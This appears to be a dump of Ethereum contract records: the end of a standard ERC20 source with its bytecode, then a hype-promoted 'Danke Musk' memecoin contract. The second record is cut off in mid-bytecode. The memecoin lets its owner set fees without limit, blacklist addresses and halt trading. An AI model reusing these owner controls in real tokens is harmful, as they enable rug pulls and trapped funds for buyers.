function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea264697066735822122004caf99b681bb09a62d66216553a2522410db9c7cfd152384124143f98b3a5f764736f6c63430008030033 | {"success": true, "error": null, "results": {}} | 986 |
0x4d399dd8fbe62c8a9fd0a572e83ffbc5b526d149 | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
/*
https://t.me/dankemusk
$DANKE MUSK
Musk Tweeted Launch
https://twitter.com/elonmusk/status/1506262079963111440
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract muskscontractdanke is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Danke Musk";
string private constant _symbol = "DANKE MUSK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF3d9f322037B9290683608267995f3C8863D7C68);
address payable private _marketingAddress = payable(0xF3d9f322037B9290683608267995f3C8863D7C68);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b657600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600a81526944616e6b65204d75736b60b01b60208201525b60405161023a9190611a2a565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7f565b6106a0565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aab565b6106b7565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611aec565b610720565b34801561036e57600080fd5b506101fc61037d366004611b19565b61076b565b34801561038e57600080fd5b506101fc6107b3565b3480156103a357600080fd5b506102c26103b2366004611aec565b6107fe565b3480156103c357600080fd5b506101fc610820565b3480156103d857600080fd5b506101fc6103e7366004611b34565b610894565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611aec565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b19565b6108c3565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600a81526944414e4b45204d55534b60b01b602082015261022d565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610263610511366004611a7f565b610978565b34801561052257600080fd5b50610263610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c2610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565